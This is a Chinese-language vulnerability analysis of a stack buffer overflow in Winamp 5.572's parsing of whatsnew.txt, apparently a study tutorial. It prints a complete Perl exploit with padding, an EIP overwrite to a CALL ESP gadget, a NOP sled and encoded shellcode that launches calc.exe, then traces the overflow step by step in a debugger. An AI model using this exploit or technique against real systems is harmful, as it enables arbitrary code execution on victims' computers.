前言
Winamp是一款非常经典的音乐播放软件,它于上世纪九十年代后期问世。与现在音乐播放软件行业百家争鸣的情况不同,当时可以说Winamp就是听音乐的唯一选择了,相信那个时代的电脑玩家是深有体会的。而时至今日,依然有一批忠实的Winamp粉丝还在坚守着这块阵地,这也就说明了这款播放器依旧是有很强的生命力。
但是,这款软件的漏洞也是挺多的,五花八门,涵盖了很多方面。而我们这次所讨论的就是这款软件在读取whatsnew.txt,也就是更新历史文件时出现的缓冲区溢出漏洞。
漏洞重现
正常的whatsnew.txt文件位于Winamp文件夹中,保存的是软件的更新历史信息。我们为了重现漏洞,需要将特殊构造的whatsnew.txt覆盖掉原始的txt文件。然后打开Winamp,在菜单栏的HELP中选择“About Winamp”:
图1
在弹出的对话框中选择“Version history”:
图2
于是就触发了漏洞。但是按照说明,利用网上找到的这个whatsnew.txt文件是可以打开计算器程序的,但是我在实际测试的时候,有时可以打开,有时却不行。其实这很正常,网上所找到的很多的漏洞利用的文件本身往往是存在着各种各样的问题的,因此我们在这里有必要亲自动手来调试一下,弄清楚这个txt文件的漏洞利用原理。
漏洞利用代码分析
既然我们已经触发了漏洞,那么我们可以进一步分析一下漏洞出现的原因。查看一下它的POC代码,是利用Perl语言编写的:- my $version = "Winamp 5.572";
- my $junk = "x41" x 540;
- my $eip = "xadx86x0ex07";
- # overwrite EIP - 070E86AD FFD4 CALL ESP nde.dll
- my $nop = "x90" x 100;
- my $shellcode =
- # windows/exec cmd=calc.exe
- "xebx03x59xebx05xe8xf8xffxffxffx49x49x49x49x49x49".
- "x49x49x49x49x49x49x49x49x49x49x49x51x48x5ax6ax47".
- "x58x30x42x31x50x42x41x6bx42x41x57x42x32x42x41x32".
- "x41x41x30x41x41x58x50x38x42x42x75x78x69x6bx4cx6a".
- "x48x53x74x67x70x67x70x75x50x4ex6bx53x75x65x6cx6e".
- "x6bx51x6cx46x65x70x78x43x31x68x6fx4ex6bx30x4fx54".
- "x58x6ex6bx73x6fx57x50x67x71x58x6bx77x39x4cx4bx64".
- "x74x6cx4bx57x71x5ax4ex76x51x49x50x6ex79x6ex4cx4f".
- "x74x4bx70x70x74x37x77x69x51x48x4ax64x4dx43x31x4f".
- "x32x7ax4bx48x74x55x6bx72x74x34x64x77x74x70x75x4d".
- "x35x6cx4bx71x4fx75x74x36x61x48x6bx41x76x4cx4bx44".
- "x4cx70x4bx4ex6bx63x6fx55x4cx33x31x68x6bx4ex6bx35".
- "x4cx4ex6bx34x41x6ax4bx6cx49x33x6cx35x74x64x44x4a".
- "x63x34x71x4bx70x63x54x6ex6bx71x50x76x50x4fx75x4b".
- "x70x72x58x74x4cx4cx4bx77x30x76x6cx4cx4bx44x30x57".
- "x6cx6cx6dx6ex6bx75x38x54x48x58x6bx73x39x6ex6bx4b".
- "x30x4ex50x37x70x67x70x37x70x6cx4bx62x48x45x6cx63".
- "x6fx35x61x39x66x35x30x50x56x4dx59x48x78x6ex63x59".
- "x50x43x4bx66x30x43x58x68x70x6fx7ax43x34x33x6fx73".
- "x58x4fx68x6bx4ex6dx5ax46x6ex72x77x6bx4fx78x67x63".
- "x53x62x41x30x6cx55x33x64x6ex42x45x70x78x32x45x33".
- "x30x47";
- open (myfile,'>> whatsnew.txt');
- print myfile $version.$junk.$eip.$nop.$shellcode;
- print "[+] whatsnew.txt written. ";
- print "[ ] Now copy it to your winamp folder... ";
- print "[ ] Run winamp and hit [About Winamp]->[Version History] ";
首先看一下倒数第四条语句,它其实是漏洞利用的代码的格式,一共是五块内容,即version+junk+eip+nop+shellcode。其中的version是当前软件的版本,这里是5.572版;junk是一段填充代码,这里是540个0x41,也就是大写字母A,填充的作用就是为了接下来的返回地址的覆盖;eip则是我们将要覆盖的返回地址,这里是0x070e86ad;nop位置是100个0x90;最后就是ShellCode代码了。
漏洞的调试
为了调试这个漏洞,我们可以结合构造好的whatsnew.txt进行。首先是定位漏洞出现的位置,然后在相应的位置下断点进行分析。我们以前的做法是在类似于strcpy这一类的函数上下断点,然后逐个断点进行分析,或者在类似于fopen这样的函数上下断点。当然方法是五花八门的,不管是哪种方法,基本都是可以达到目的的。那么针对于这次的程序来说,既然我们已经知道程序会打开whatsnew.txt这个文件,那么不妨在程序中查找一下这个字符串,然后再进行分析。
首先利用OD载入winamp.exe程序,在反汇编代码区域单击鼠标右键,选择“查找”中的“所有参考文本字串”: 之后选择最上面的条目,表示从最开始位置进行搜索。单击鼠标右键,选择“查找文本”,输入我们要查找的字符串名称“whatsnew.txt”,再单击确定:
图4
其实这里一共可以搜索出两个结果,那么接下来我们可以分别查看一下这两处语句。可能这两处语句本身并不是fopen函数的参数语句,不过没有关系,相信距离fopen也不会太远。首先双击第一个结果,来到其反汇编代码的位置,然后在该位置上下观察一下,就可以找到疑似文件打开语句的位置了:
图5
可以先在0x004015EE处下一个断点,然后按F9让程序运行起来,依据之前讲过的步骤来触发漏洞,于是程序就停在了0x004015EE的位置。这里最开始是利用malloc语句申请大小为0x20000的内存空间,返回值就是所分配的空间的地址,我这里是0x0286C008。之后调用wfopen来打开whatsnew.txt文件。再调用fread函数:
图6
通过分析这个函数的参数可以知道,fread函数会将文件内容读入刚才所分配的空间中。然后利用strncmp函数进行比对:
图7
可见,这里是在验证所读取的whatsnew.txt文件的最开始9个字符是否为“Winamp 5.”验证通过才能够进行下一步的操作。这也就说明了,为什么需要在漏洞利用的代码中,添加“version”的信息。然后就来到了最重要的字符串拷贝函数的位置:
图8
这里是将从whatsnew.txt文件读取出来的内容拷贝到地址为0x00BDEBAC的位置中。我们可以按F8步过这个函数来看一下:
图9
可见当前的栈空间中已经写入了我们编写的whatsnew.txt文件的内容,而0x00BDEDD4中保存的正是我们所覆盖地址,这是原始的返回地址的位置。那么直接执行到返回地址的位置查看一下:
图10
可以看到程序使用的是call esp的方法,此时的esp所保存的地址为0x00BDEDE8,正好落在了0x90也就是nop的区段中,在这些0x90的后面,就是ShellCode了。
这里我们的目的不是弄清楚原始ShellCode为什么有时能够执行有时却不能够执行,大家有兴趣的话可以自行研究,我们这里不妨将之前我们一直使用的ShellCode植入,看看能不能达到预期的效果。可以使用十六进制编辑工具对whatsnew.txt进行编辑:图11
那么再尝试触发漏洞:
图12
可见我们的利用是成功的。